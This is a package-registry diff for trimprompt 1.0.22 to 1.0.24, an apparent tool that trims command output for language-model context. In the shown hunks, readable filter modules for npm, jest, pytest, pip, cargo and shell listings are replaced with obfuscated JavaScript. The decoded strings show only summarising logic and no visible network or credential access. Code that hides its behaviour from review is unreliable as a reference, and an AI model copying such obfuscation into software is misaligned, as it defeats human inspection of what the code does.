trimprompt 1.0.22 → 1.0.24
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/cache.js +1 -1
- package/cli.js +1 -1
- package/dashboard.js +1 -1
- package/executor.js +1 -1
- package/filters/devops.js +1 -1
- package/filters/generic.js +1 -1
- package/filters/git.js +1 -1
- package/filters/go.js +1 -1
- package/filters/index.js +1 -1
- package/filters/js.js +1 -1
- package/filters/python.js +1 -1
- package/filters/rust.js +1 -1
- package/filters/shell.js +1 -1
- package/mcp.js +1 -1
- package/package.json +3 -2
- package/redactor.js +1 -1
- package/seed.js +1 -1
- package/shims.js +1 -1
- package/simulate.js +1 -1
- package/sync.js +1 -1
- package/tracker.js +1 -1
package/filters/js.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';
|
|
1
|
+
'use strict';const a0_0x3d31ec=a0_0x41dc;(function(_0x9ac020,_0xf454fe){const _0x1887ae=a0_0x41dc,_0x56cb18=_0x9ac020();while(!![]){try{const _0x5bacca=-parseInt(_0x1887ae(0x13e))/0x1+parseInt(_0x1887ae(0x157))/0x2+parseInt(_0x1887ae(0x142))/0x3+parseInt(_0x1887ae(0x150))/0x4*(parseInt(_0x1887ae(0x143))/0x5)+parseInt(_0x1887ae(0x15a))/0x6*(parseInt(_0x1887ae(0x146))/0x7)+-parseInt(_0x1887ae(0x158))/0x8*(-parseInt(_0x1887ae(0x15c))/0x9)+parseInt(_0x1887ae(0x13d))/0xa*(-parseInt(_0x1887ae(0x14d))/0xb);if(_0x5bacca===_0xf454fe)break;else _0x56cb18['push'](_0x56cb18['shift']());}catch(_0x2240c4){_0x56cb18['push'](_0x56cb18['shift']());}}}(a0_0x2c3d,0x54ec0));function a0_0x41dc(_0x22f433,_0x112896){_0x22f433=_0x22f433-0x13b;const _0x2c3d63=a0_0x2c3d();let _0x41dcb7=_0x2c3d63[_0x22f433];return _0x41dcb7;}Object[a0_0x3d31ec(0x14c)](exports,a0_0x3d31ec(0x165),{'value':!![]}),exports[a0_0x3d31ec(0x13f)]=filterNpmInstall,exports[a0_0x3d31ec(0x153)]=filterJestVitest;function filterNpmInstall(_0x983cb5){const _0x4d4e87=a0_0x3d31ec,_0x4e2beb=_0x983cb5[_0x4d4e87(0x15d)](/\r/g,'\x0a'),_0x9eb8df=_0x4e2beb['split']('\x0a'),_0x471620=[];for(const _0x564390 of _0x9eb8df){const _0x426572=_0x564390[_0x4d4e87(0x149)]();(_0x426572[_0x4d4e87(0x144)](_0x4d4e87(0x147))||_0x426572['includes'](_0x4d4e87(0x14b))||_0x426572['includes'](_0x4d4e87(0x162))||_0x426572[_0x4d4e87(0x144)](_0x4d4e87(0x15f))||_0x426572[_0x4d4e87(0x144)](_0x4d4e87(0x13c)))&&(!_0x426572[_0x4d4e87(0x144)]('%')&&!_0x426572[_0x4d4e87(0x152)]('⠋')&&!_0x426572[_0x4d4e87(0x152)]('⠙')&&_0x471620[_0x4d4e87(0x15b)](_0x426572));}const _0x16e87e=_0x471620['join']('\x0a')[_0x4d4e87(0x149)]();return _0x16e87e[_0x4d4e87(0x166)]>0x0?_0x16e87e:_0x4d4e87(0x155);}function a0_0x2c3d(){const _0x429df8=['push','9ilUqHw','replace','slice','up\x20to\x20date','\x20failed\x20(','Test\x20Runner:\x20','audited\x20','split','all','__esModule','length','Test\x20Files:','found\x20','60ZEdIkU','124319BjTVPG','filterNpmInstall','\x20total)','FAIL\x20\x20','928173VHByUs','468215bUuvnv','includes','\x20\x20...\x20(','7gzqTNw','added\x20','Tests:','trim','\x20passed,\x20','removed\x20','defineProperty','2122868FysZdp','\x0aFailures:','match','24AmiNnC','\x20passed','startsWith','filterJestVitest','FAIL','NPM:\x20Packages\x20verified/installed\x20successfully','Test\x20Suites:','839434HjdNEK','2298976iBMbmi','\x20lines\x20of\x20trace\x20details\x20truncated)','310494xwiFwK'];a0_0x2c3d=function(){return _0x429df8;};return a0_0x2c3d();}function filterJestVitest(_0x464740){const _0x769b16=a0_0x3d31ec,_0x23aa38=_0x464740[_0x769b16(0x163)]('\x0a');let _0x135514=0x0,_0x52f9d4=0x0,_0x399098=0x0;const _0x116dd6=[];let _0x5ea456=![];for(const _0x554d6a of _0x23aa38){const _0x122a9a=_0x554d6a[_0x769b16(0x149)]();if(_0x122a9a[_0x769b16(0x152)](_0x769b16(0x148))||_0x122a9a[_0x769b16(0x144)](_0x769b16(0x13b))){const _0x4bcff6=_0x122a9a[_0x769b16(0x14f)](/(\d+)\s+passed/),_0x3dbfcb=_0x122a9a[_0x769b16(0x14f)](/(\d+)\s+failed/),_0x4aa3bb=_0x122a9a[_0x769b16(0x14f)](/(\d+)\s+total/);if(_0x4bcff6)_0x135514=parseInt(_0x4bcff6[0x1]);if(_0x3dbfcb)_0x52f9d4=parseInt(_0x3dbfcb[0x1]);if(_0x4aa3bb)_0x399098=parseInt(_0x4aa3bb[0x1]);continue;}(_0x122a9a[_0x769b16(0x152)]('❯')||_0x122a9a['startsWith']('●')||_0x122a9a['startsWith'](_0x769b16(0x141)))&&(_0x5ea456=!![]),_0x5ea456&&(_0x122a9a[_0x769b16(0x166)]>0x0&&!_0x122a9a['startsWith'](_0x769b16(0x156))&&!_0x122a9a[_0x769b16(0x152)]('Tests:')&&_0x116dd6['push'](_0x554d6a));}if(_0x399098===0x0&&_0x135514===0x0&&_0x52f9d4===0x0){if(_0x464740[_0x769b16(0x144)]('PASS')&&!_0x464740[_0x769b16(0x144)](_0x769b16(0x154))){const _0x7c1ab2=_0x464740[_0x769b16(0x14f)](/(\d+)\s+passed/),_0x7bfa=_0x7c1ab2?_0x7c1ab2[0x1]:_0x769b16(0x164);return _0x769b16(0x161)+_0x7bfa+_0x769b16(0x151);}return _0x464740;}if(_0x52f9d4===0x0&&_0x135514>0x0)return _0x769b16(0x161)+_0x135514+'\x20passed';const _0x4fe10f=['Test\x20Runner:\x20'+_0x135514+_0x769b16(0x14a)+_0x52f9d4+_0x769b16(0x160)+_0x399098+_0x769b16(0x140)];if(_0x116dd6[_0x769b16(0x166)]>0x0){_0x4fe10f['push'](_0x769b16(0x14e));const _0x24c5df=0x19,_0x52a5d4=_0x116dd6[_0x769b16(0x15e)](0x0,_0x24c5df);for(const _0x3adf91 of _0x52a5d4){_0x4fe10f[_0x769b16(0x15b)]('\x20\x20'+_0x3adf91);}_0x116dd6[_0x769b16(0x166)]>_0x24c5df&&_0x4fe10f['push'](_0x769b16(0x145)+(_0x116dd6[_0x769b16(0x166)]-_0x24c5df)+_0x769b16(0x159));}return _0x4fe10f['join']('\x0a');}
|
package/filters/python.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
'use strict';const a0_0x21fcde=a0_0x4f95;function a0_0x4f95(_0x36bdb7,_0x1f7e22){_0x36bdb7=_0x36bdb7-0xa7;const _0x514695=a0_0x5146();let _0x4f95ae=_0x514695[_0x36bdb7];return _0x4f95ae;}(function(_0x4d7b4d,_0xef8793){const _0x293d2d=a0_0x4f95,_0x48f00e=_0x4d7b4d();while(!![]){try{const _0x3d21a1=parseInt(_0x293d2d(0xcb))/0x1*(parseInt(_0x293d2d(0xb3))/0x2)+parseInt(_0x293d2d(0xb0))/0x3*(parseInt(_0x293d2d(0xc3))/0x4)+-parseInt(_0x293d2d(0xcf))/0x5+parseInt(_0x293d2d(0xc7))/0x6+parseInt(_0x293d2d(0xaa))/0x7*(-parseInt(_0x293d2d(0xce))/0x8)+parseInt(_0x293d2d(0xc8))/0x9+-parseInt(_0x293d2d(0xd6))/0xa*(-parseInt(_0x293d2d(0xd3))/0xb);if(_0x3d21a1===_0xef8793)break;else _0x48f00e['push'](_0x48f00e['shift']());}catch(_0x25feb2){_0x48f00e['push'](_0x48f00e['shift']());}}}(a0_0x5146,0xc8855));Object[a0_0x21fcde(0xd7)](exports,'__esModule',{'value':!![]}),exports[a0_0x21fcde(0xc0)]=filterPytest,exports[a0_0x21fcde(0xb5)]=filterPipInstall;function a0_0x5146(){const _0x3a912a=['11RJXRzo','===\x20ERRORS\x20===','Collecting','2392330ArILrT','defineProperty','join','slice','\x20lines\x20of\x20stacktrace\x20truncated)','7hljcoU','replace','\x20\x20...\x20+','\x20in\x20','===','Pytest:\x20','114bmzUMA','.\x20[FAIL]\x20','filter','2pxxlfd','\x0aFailures:','filterPipInstall','AssertionError:','===\x20FAILURES\x20===','length','\x20passed','Pytest:\x20All\x20tests\x20passed','Downloading','\x20failed','E\x20\x20\x20','\x20more\x20failures\x20truncated','includes','filterPytest','passed','push','8952RoBwbJ','startsWith','Using\x20cached','failed','5565144nPxyxs','9857889ybSqoU','.py:','match','229107PjcIdy','trim','\x20\x20\x20\x20...\x20(','7537696lRRTfT','4063420Knyhkg','split','\x20skipped','\x20xfailed'];a0_0x5146=function(){return _0x3a912a;};return a0_0x5146();}function filterPytest(_0x2b4315){const _0x57a0fa=a0_0x21fcde,_0x4ea883=_0x2b4315['split']('\x0a');let _0x7bb95d=0x0,_0x570acf=0x0,_0x4e9cf5=0x0,_0x37b1e4=0x0,_0x500724=0x0;const _0x568428=[];let _0x1f162c=[],_0x4e0be5=![];for(const _0x30eb59 of _0x4ea883){const _0x367709=_0x30eb59[_0x57a0fa(0xcc)]();if(_0x367709[_0x57a0fa(0xc4)](_0x57a0fa(0xb7))||_0x367709[_0x57a0fa(0xc4)](_0x57a0fa(0xd4))){_0x4e0be5=!![];continue;}else(_0x367709[_0x57a0fa(0xc4)]('===\x20short\x20test\x20summary\x20info\x20===')||_0x367709[_0x57a0fa(0xc4)]('===')&&_0x367709[_0x57a0fa(0xbf)](_0x57a0fa(0xc1)))&&(_0x4e0be5=![],_0x1f162c[_0x57a0fa(0xb8)]>0x0&&(_0x568428[_0x57a0fa(0xc2)](_0x1f162c),_0x1f162c=[]));if(_0x4e0be5){if(_0x367709[_0x57a0fa(0xc4)]('___'))_0x1f162c[_0x57a0fa(0xb8)]>0x0&&(_0x568428[_0x57a0fa(0xc2)](_0x1f162c),_0x1f162c=[]),_0x1f162c[_0x57a0fa(0xc2)](_0x367709);else _0x367709['length']>0x0&&_0x1f162c[_0x57a0fa(0xc2)](_0x30eb59);continue;}if(_0x367709[_0x57a0fa(0xc4)](_0x57a0fa(0xae))&&_0x367709[_0x57a0fa(0xbf)](_0x57a0fa(0xad))){const _0x270d30=_0x367709[_0x57a0fa(0xca)](/(\d+)\s+passed/),_0x39e00c=_0x367709['match'](/(\d+)\s+failed/),_0x1280d7=_0x367709[_0x57a0fa(0xca)](/(\d+)\s+skipped/),_0x4d3c45=_0x367709['match'](/(\d+)\s+xfailed/),_0x195267=_0x367709[_0x57a0fa(0xca)](/(\d+)\s+xpassed/);if(_0x270d30)_0x7bb95d=parseInt(_0x270d30[0x1]);if(_0x39e00c)_0x570acf=parseInt(_0x39e00c[0x1]);if(_0x1280d7)_0x4e9cf5=parseInt(_0x1280d7[0x1]);if(_0x4d3c45)_0x37b1e4=parseInt(_0x4d3c45[0x1]);if(_0x195267)_0x500724=parseInt(_0x195267[0x1]);}}_0x1f162c[_0x57a0fa(0xb8)]>0x0&&_0x568428[_0x57a0fa(0xc2)](_0x1f162c);if(_0x7bb95d===0x0&&_0x570acf===0x0&&_0x4e9cf5===0x0&&_0x37b1e4===0x0&&_0x500724===0x0){if(_0x2b4315[_0x57a0fa(0xbf)](_0x57a0fa(0xc1))&&!_0x2b4315['includes'](_0x57a0fa(0xc6)))return _0x57a0fa(0xba);return _0x2b4315;}if(_0x570acf===0x0&&_0x7bb95d>0x0&&_0x4e9cf5===0x0&&_0x37b1e4===0x0&&_0x500724===0x0)return _0x57a0fa(0xaf)+_0x7bb95d+'\x20passed';const _0x25f0fd=[];_0x25f0fd[_0x57a0fa(0xc2)](_0x57a0fa(0xaf)+_0x7bb95d+_0x57a0fa(0xb9));if(_0x570acf>0x0)_0x25f0fd[_0x57a0fa(0xc2)](_0x570acf+_0x57a0fa(0xbc));if(_0x4e9cf5>0x0)_0x25f0fd[_0x57a0fa(0xc2)](_0x4e9cf5+_0x57a0fa(0xd1));if(_0x37b1e4>0x0)_0x25f0fd[_0x57a0fa(0xc2)](_0x37b1e4+_0x57a0fa(0xd2));if(_0x500724>0x0)_0x25f0fd[_0x57a0fa(0xc2)](_0x500724+'\x20xpassed\x20(warning!)');const _0x41ab37=[_0x25f0fd[_0x57a0fa(0xa7)](',\x20')];if(_0x568428['length']>0x0){_0x41ab37[_0x57a0fa(0xc2)](_0x57a0fa(0xb4));const _0x35acf4=0x3,_0x3b9dad=_0x568428[_0x57a0fa(0xa8)](0x0,_0x35acf4);for(let _0x490b81=0x0;_0x490b81<_0x3b9dad[_0x57a0fa(0xb8)];_0x490b81++){const _0x24b997=_0x3b9dad[_0x490b81],_0xe0112d=_0x24b997[0x0][_0x57a0fa(0xab)](/_/g,'')['trim']();_0x41ab37[_0x57a0fa(0xc2)]('\x20\x20'+(_0x490b81+0x1)+_0x57a0fa(0xb1)+_0xe0112d);const _0x27c81f=_0x24b997[_0x57a0fa(0xa8)](0x1),_0x3394ef=_0x27c81f['filter'](_0x2348e4=>{const _0xaaaf5a=_0x57a0fa,_0x4ad535=_0x2348e4[_0xaaaf5a(0xcc)]();return _0x4ad535[_0xaaaf5a(0xc4)]('>')||_0x4ad535['startsWith'](_0xaaaf5a(0xbd))||_0x4ad535[_0xaaaf5a(0xbf)](_0xaaaf5a(0xc9))||_0x4ad535[_0xaaaf5a(0xbf)](_0xaaaf5a(0xb6));});for(const _0x5485ad of _0x3394ef[_0x57a0fa(0xa8)](0x0,0x8)){_0x41ab37[_0x57a0fa(0xc2)]('\x20\x20\x20\x20'+_0x5485ad);}_0x3394ef['length']>0x8&&_0x41ab37[_0x57a0fa(0xc2)](_0x57a0fa(0xcd)+(_0x3394ef[_0x57a0fa(0xb8)]-0x8)+_0x57a0fa(0xa9));}_0x568428[_0x57a0fa(0xb8)]>_0x35acf4&&_0x41ab37['push'](_0x57a0fa(0xac)+(_0x568428[_0x57a0fa(0xb8)]-_0x35acf4)+_0x57a0fa(0xbe));}return _0x41ab37[_0x57a0fa(0xa7)]('\x0a');}function filterPipInstall(_0x1dbe14){const _0x4ea980=a0_0x21fcde,_0x2ee072=_0x1dbe14[_0x4ea980(0xd0)]('\x0a'),_0x65e197=[];for(const _0x3dbb4e of _0x2ee072){const _0x7d7cad=_0x3dbb4e[_0x4ea980(0xcc)]();_0x7d7cad[_0x4ea980(0xc4)]('Successfully\x20installed')&&_0x65e197[_0x4ea980(0xc2)](_0x7d7cad);}if(_0x65e197[_0x4ea980(0xb8)]>0x0)return _0x65e197[_0x4ea980(0xa7)]('\x0a');return _0x2ee072[_0x4ea980(0xb2)](_0x36776e=>{const _0x5c4cec=_0x4ea980,_0x539465=_0x36776e[_0x5c4cec(0xcc)]();return!_0x539465[_0x5c4cec(0xc4)](_0x5c4cec(0xd5))&&!_0x539465[_0x5c4cec(0xc4)](_0x5c4cec(0xbb))&&!_0x539465[_0x5c4cec(0xbf)](_0x5c4cec(0xc5))&&!_0x539465['startsWith']('Requirement\x20already\x20satisfied');})['join']('\x0a')[_0x4ea980(0xcc)]();}
|
package/filters/rust.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
'use strict';const a0_0x335c77=a0_0xa930;function a0_0xa930(_0x1f5967,_0x317a0f){_0x1f5967=_0x1f5967-0x1dc;const _0x1d77ce=a0_0x1d77();let _0xa9306d=_0x1d77ce[_0x1f5967];return _0xa9306d;}(function(_0xde985b,_0x2353a3){const _0x397d6c=a0_0xa930,_0x1aea24=_0xde985b();while(!![]){try{const _0x132c3b=-parseInt(_0x397d6c(0x1e2))/0x1*(-parseInt(_0x397d6c(0x20a))/0x2)+parseInt(_0x397d6c(0x202))/0x3+parseInt(_0x397d6c(0x1f6))/0x4+parseInt(_0x397d6c(0x1f5))/0x5+-parseInt(_0x397d6c(0x1f4))/0x6+parseInt(_0x397d6c(0x1e9))/0x7+parseInt(_0x397d6c(0x1f1))/0x8*(-parseInt(_0x397d6c(0x207))/0x9);if(_0x132c3b===_0x2353a3)break;else _0x1aea24['push'](_0x1aea24['shift']());}catch(_0x65c96c){_0x1aea24['push'](_0x1aea24['shift']());}}}(a0_0x1d77,0x51cff));Object['defineProperty'](exports,a0_0x335c77(0x1fc),{'value':!![]}),exports[a0_0x335c77(0x200)]=filterCargoTest,exports[a0_0x335c77(0x209)]=filterCargoBuild;function filterCargoTest(_0x2eeecd){const _0x1bff63=a0_0x335c77,_0x543904=_0x2eeecd[_0x1bff63(0x1ed)]('\x0a');let _0x293dc4=0x0,_0x4195c0=0x0,_0x59e831=0x0,_0x41e73d=0x0;const _0x29087c=[];let _0x5bca6e=![],_0x3f87ff=[];for(const _0x5aa7e6 of _0x543904){const _0x4a5d4b=_0x5aa7e6[_0x1bff63(0x1fb)](),_0x3c70be=_0x4a5d4b['match'](/test result:\s*(\w+)\.\s*(\d+)\s+passed;\s*(\d+)\s+failed;\s*(\d+)\s+ignored;\s*(\d+)\s+measured/);if(_0x3c70be){_0x293dc4+=parseInt(_0x3c70be[0x2]),_0x4195c0+=parseInt(_0x3c70be[0x3]),_0x59e831+=parseInt(_0x3c70be[0x4]),_0x41e73d+=parseInt(_0x3c70be[0x5]);continue;}if(_0x4a5d4b==='failures:'||_0x4a5d4b==='----\x20failures\x20----'){_0x5bca6e=!![];continue;}if(_0x5bca6e){if(_0x4a5d4b[_0x1bff63(0x1e0)](_0x1bff63(0x1fa))&&_0x4a5d4b['endsWith']('\x20----')){if(_0x3f87ff[_0x1bff63(0x1ea)]>0x0)_0x29087c[_0x1bff63(0x1ee)](_0x3f87ff['join']('\x0a'));_0x3f87ff=[_0x4a5d4b[_0x1bff63(0x206)](/^-+\s*/,'')[_0x1bff63(0x206)](/\s*-+$/,'')];}else{if(_0x4a5d4b===_0x1bff63(0x1fd)||_0x4a5d4b[_0x1bff63(0x1e0)](_0x1bff63(0x1e8))){if(_0x3f87ff[_0x1bff63(0x1ea)]>0x0)_0x29087c['push'](_0x3f87ff[_0x1bff63(0x1f7)]('\x0a'));_0x3f87ff=[],_0x5bca6e=![];}else _0x4a5d4b[_0x1bff63(0x1ea)]>0x0&&_0x3f87ff[_0x1bff63(0x1ee)](_0x5aa7e6);}}}if(_0x3f87ff[_0x1bff63(0x1ea)]>0x0)_0x29087c['push'](_0x3f87ff['join']('\x0a'));if(_0x293dc4===0x0&&_0x4195c0===0x0&&_0x59e831===0x0){if(_0x2eeecd[_0x1bff63(0x1e6)]('test\x20result:\x20ok'))return'Cargo\x20test:\x20all\x20tests\x20passed';return _0x2eeecd;}if(_0x4195c0===0x0){const _0x299d5a=['Cargo\x20test:\x20'+_0x293dc4+'\x20passed'];if(_0x59e831>0x0)_0x299d5a[_0x1bff63(0x1ee)](_0x59e831+_0x1bff63(0x1f0));return _0x299d5a[_0x1bff63(0x1f7)](',\x20');}const _0x9f7de=[_0x1bff63(0x1ff)+_0x293dc4+_0x1bff63(0x1e3)+_0x4195c0+_0x1bff63(0x1e7)+_0x59e831+_0x1bff63(0x1f0)];if(_0x29087c[_0x1bff63(0x1ea)]>0x0){_0x9f7de[_0x1bff63(0x1ee)](_0x1bff63(0x203));const _0x141f22=0x3;for(let _0x410ff0=0x0;_0x410ff0<Math[_0x1bff63(0x1de)](_0x29087c['length'],_0x141f22);_0x410ff0++){const _0x2c5b96=_0x29087c[_0x410ff0]['split']('\x0a');_0x9f7de[_0x1bff63(0x1ee)]('\x20\x20'+(_0x410ff0+0x1)+'.\x20'+_0x2c5b96[0x0]);const _0x3a54fb=_0x2c5b96[_0x1bff63(0x1ec)](0x1),_0x29b637=_0x3a54fb[_0x1bff63(0x1f9)](_0x11c26e=>_0x11c26e['trim']()[_0x1bff63(0x1e0)](_0x1bff63(0x205))||_0x11c26e[_0x1bff63(0x1e6)]('panicked')||_0x11c26e[_0x1bff63(0x1e6)](_0x1bff63(0x1eb))||_0x11c26e[_0x1bff63(0x1e6)](_0x1bff63(0x1dc))||_0x11c26e['includes'](_0x1bff63(0x204)));for(const _0x230564 of _0x29b637['slice'](0x0,0x5)){_0x9f7de['push']('\x20\x20\x20\x20'+_0x230564[_0x1bff63(0x1fb)]());}}_0x29087c[_0x1bff63(0x1ea)]>_0x141f22&&_0x9f7de[_0x1bff63(0x1ee)](_0x1bff63(0x1df)+(_0x29087c['length']-_0x141f22)+_0x1bff63(0x1e5));}return _0x9f7de[_0x1bff63(0x1f7)]('\x0a');}function filterCargoBuild(_0x15869a){const _0x172d08=a0_0x335c77,_0x102c92=_0x15869a[_0x172d08(0x1ed)]('\x0a'),_0x457482=[],_0xec1417=[];let _0x1732d4=0x0;for(const _0x1c4ee5 of _0x102c92){const _0x5b0d19=_0x1c4ee5['trim']();if(_0x5b0d19[_0x172d08(0x1e0)](_0x172d08(0x1ef)))_0x1732d4++;else{if(_0x5b0d19[_0x172d08(0x1e0)](_0x172d08(0x1dd))||_0x5b0d19['startsWith']('warning:'))_0x457482[_0x172d08(0x1ee)](_0x5b0d19);else{if(_0x5b0d19[_0x172d08(0x1e0)](_0x172d08(0x20c))||_0x5b0d19[_0x172d08(0x1e0)](_0x172d08(0x20b)))_0xec1417[_0x172d08(0x1ee)](_0x5b0d19);}}}if(_0xec1417[_0x172d08(0x1ea)]===0x0&&_0x457482[_0x172d08(0x1ea)]===0x0)return _0x1732d4>0x0?_0x172d08(0x1f8)+_0x1732d4+_0x172d08(0x1f3):_0x15869a['trim']();const _0x19d84b=[];if(_0xec1417[_0x172d08(0x1ea)]>0x0){_0x19d84b[_0x172d08(0x1ee)]('Cargo:\x20'+_0xec1417[_0x172d08(0x1ea)]+_0x172d08(0x201)+_0x457482['length']+_0x172d08(0x1fe)),_0x19d84b[_0x172d08(0x1ee)]('\x0aErrors:');for(const _0x3e9dc8 of _0xec1417[_0x172d08(0x1ec)](0x0,0x5))_0x19d84b['push']('\x20\x20'+_0x3e9dc8);if(_0xec1417[_0x172d08(0x1ea)]>0x5)_0x19d84b[_0x172d08(0x1ee)](_0x172d08(0x1df)+(_0xec1417[_0x172d08(0x1ea)]-0x5)+_0x172d08(0x1f2));}else _0x19d84b[_0x172d08(0x1ee)]('Cargo:\x20compiled\x20'+_0x1732d4+_0x172d08(0x208)+_0x457482['length']+_0x172d08(0x1fe));if(_0x457482[_0x172d08(0x1ea)]>0x0&&_0x457482[_0x172d08(0x1ea)]<=0x5){_0x19d84b['push'](_0x172d08(0x1e1));for(const _0x25cc75 of _0x457482)_0x19d84b[_0x172d08(0x1ee)]('\x20\x20'+_0x25cc75);}else _0x457482[_0x172d08(0x1ea)]>0x5&&_0x19d84b[_0x172d08(0x1ee)]('\x0a('+_0x457482[_0x172d08(0x1ea)]+_0x172d08(0x1e4));return _0x19d84b['join']('\x0a');}function a0_0x1d77(){const _0x6223ca=['2518330TsiuRX','189120ieaSSM','join','Cargo:\x20compiled\x20','filter','----\x20','trim','__esModule','failures:','\x20warnings','Cargo\x20test:\x20','filterCargoTest','\x20errors,\x20','998913LMhhQK','\x0aFailures:','right:','thread','replace','5481027zXLezx','\x20crates,\x20','filterCargoBuild','747006VOrLvY','error:','error[','left:','warning[','min','\x20\x20...\x20+','startsWith','\x0aWarnings:','1VmHkwO','\x20passed,\x20','\x20warnings\x20—\x20run\x20cargo\x20clippy\x20for\x20details)','\x20more\x20failures','includes','\x20failed,\x20','test\x20result:','2222850xkiknY','length','assert','slice','split','push','Compiling\x20','\x20ignored','16JZWKNG','\x20more\x20errors','\x20crates\x20successfully','131166LLDLas'];a0_0x1d77=function(){return _0x6223ca;};return a0_0x1d77();}
|
package/filters/shell.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0x1414b7=a0_0x1cd8;(function(_0xf1b4ad,_0x48eb47){const _0x2f8df3=a0_0x1cd8,_0x366ab1=_0xf1b4ad();while(!![]){try{const _0x4ac66f=parseInt(_0x2f8df3(0x226))/0x1+-parseInt(_0x2f8df3(0x223))/0x2*(-parseInt(_0x2f8df3(0x1fc))/0x3)+parseInt(_0x2f8df3(0x24d))/0x4+parseInt(_0x2f8df3(0x221))/0x5+parseInt(_0x2f8df3(0x201))/0x6*(parseInt(_0x2f8df3(0x235))/0x7)+parseInt(_0x2f8df3(0x20e))/0x8*(parseInt(_0x2f8df3(0x239))/0x9)+-parseInt(_0x2f8df3(0x243))/0xa*(parseInt(_0x2f8df3(0x21f))/0xb);if(_0x4ac66f===_0x48eb47)break;else _0x366ab1['push'](_0x366ab1['shift']());}catch(_0x55bfc6){_0x366ab1['push'](_0x366ab1['shift']());}}}(a0_0x3fa2,0x348ed));function a0_0x3fa2(){const _0x420d68=['.dat','yarn.lock','27728nuvaxm','\x0a...\x20(','.obj','writable','packages','\x20more\x20files','slice','.wasm','.tgz','get','floor','basename','default','prototype','pnpm-lock.yaml','/\x20(','filterTree','34474QfaJAS','.ico','2118640XwneHi','.mp3','4GRvujB','\x20lines\x20truncated]\x20...\x0a','.eot','120898KpQssh','filterLs','keys','\x20matches\x20in\x20this\x20file)','\x20chars\x20(contains\x20null\x20bytes\x20—\x20binary\x20content\x20omitted)','.min.js','.otf','path','\x20\x20...\x20+','.db','create','\x20files)','.svg','length','\x20directories,\x20','42WINFbc','.bz2','.pyc','\x20more\x20matches','369KBukVt','total\x20','.woff2','bun.lockb','defineProperty','.mp4','getOwnPropertyNames','.min.css','composer.lock','.exe','3410AhuTLw','.zip','__esModule','.class','filter','No\x20files\x20found','\x20chars,\x20type:\x20','.sqlite3','.gz','.rar','430180RfljjP','toLowerCase','parse','poetry.lock','Cargo.lock','\x20chars\x20across\x20','go.sum','\x20files\x20total\x20—\x20deep\x20entries\x20truncated)','includes','[binary\x20file]\x20','.gif','\x0a...\x20[','\x20matches\x20across\x20','\x20(content\x20omitted\x20—\x20not\x20useful\x20for\x20LLM\x20context)','split','\x20more\x20directories','\x20more\x20files\x20with\x20matches','.wav','...\x20+','startsWith','charCodeAt','match','.bmp','filterCat','.avi','.woff','call','trim','some','dirname','configurable','231828qTWHoZ','push','[binary/minified\x20file]\x20','toLocaleString','.ttf','335142SlJqYo','join','cargo.lock','[lock\x20file]\x20','package-lock.json','.jpg','substring','getOwnPropertyDescriptor','.so','.map','__createBinding'];a0_0x3fa2=function(){return _0x420d68;};return a0_0x3fa2();}var __createBinding=this&&this[a0_0x1414b7(0x20b)]||(Object[a0_0x1414b7(0x230)]?function(_0x1876eb,_0x386bd0,_0xf53b14,_0x3ea6bd){const _0x563666=a0_0x1414b7;if(_0x3ea6bd===undefined)_0x3ea6bd=_0xf53b14;var _0x55a776=Object[_0x563666(0x208)](_0x386bd0,_0xf53b14);(!_0x55a776||(_0x563666(0x217)in _0x55a776?!_0x386bd0[_0x563666(0x245)]:_0x55a776[_0x563666(0x211)]||_0x55a776[_0x563666(0x1fb)]))&&(_0x55a776={'enumerable':!![],'get':function(){return _0x386bd0[_0xf53b14];}}),Object['defineProperty'](_0x1876eb,_0x3ea6bd,_0x55a776);}:function(_0x33bfbb,_0xcb6323,_0x365c56,_0x5f4e9d){if(_0x5f4e9d===undefined)_0x5f4e9d=_0x365c56;_0x33bfbb[_0x5f4e9d]=_0xcb6323[_0x365c56];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x1414b7(0x230)]?function(_0x2a4e8b,_0x57c0cd){const _0x4e5dc5=a0_0x1414b7;Object[_0x4e5dc5(0x23d)](_0x2a4e8b,_0x4e5dc5(0x21a),{'enumerable':!![],'value':_0x57c0cd});}:function(_0x176259,_0x11af41){const _0x185ac9=a0_0x1414b7;_0x176259[_0x185ac9(0x21a)]=_0x11af41;}),__importStar=this&&this['__importStar']||(function(){var _0x567177=function(_0x539595){const _0x2a0442=a0_0x1cd8;return _0x567177=Object[_0x2a0442(0x23f)]||function(_0x51c9eb){const _0x3ce6f1=_0x2a0442;var _0x2e7b27=[];for(var _0x574280 in _0x51c9eb)if(Object[_0x3ce6f1(0x21b)]['hasOwnProperty'][_0x3ce6f1(0x1f7)](_0x51c9eb,_0x574280))_0x2e7b27[_0x2e7b27['length']]=_0x574280;return _0x2e7b27;},_0x567177(_0x539595);};return function(_0x36d1f1){const _0x353f34=a0_0x1cd8;if(_0x36d1f1&&_0x36d1f1[_0x353f34(0x245)])return _0x36d1f1;var _0x53266c={};if(_0x36d1f1!=null){for(var _0x34eaa0=_0x567177(_0x36d1f1),_0x35115c=0x0;_0x35115c<_0x34eaa0[_0x353f34(0x233)];_0x35115c++)if(_0x34eaa0[_0x35115c]!==_0x353f34(0x21a))__createBinding(_0x53266c,_0x36d1f1,_0x34eaa0[_0x35115c]);}return __setModuleDefault(_0x53266c,_0x36d1f1),_0x53266c;};}());Object[a0_0x1414b7(0x23d)](exports,a0_0x1414b7(0x245),{'value':!![]}),exports[a0_0x1414b7(0x227)]=filterLs,exports[a0_0x1414b7(0x21e)]=filterTree,exports[a0_0x1414b7(0x1f4)]=filterCat,exports['filterGrep']=filterGrep,exports['filterFind']=filterFind;const 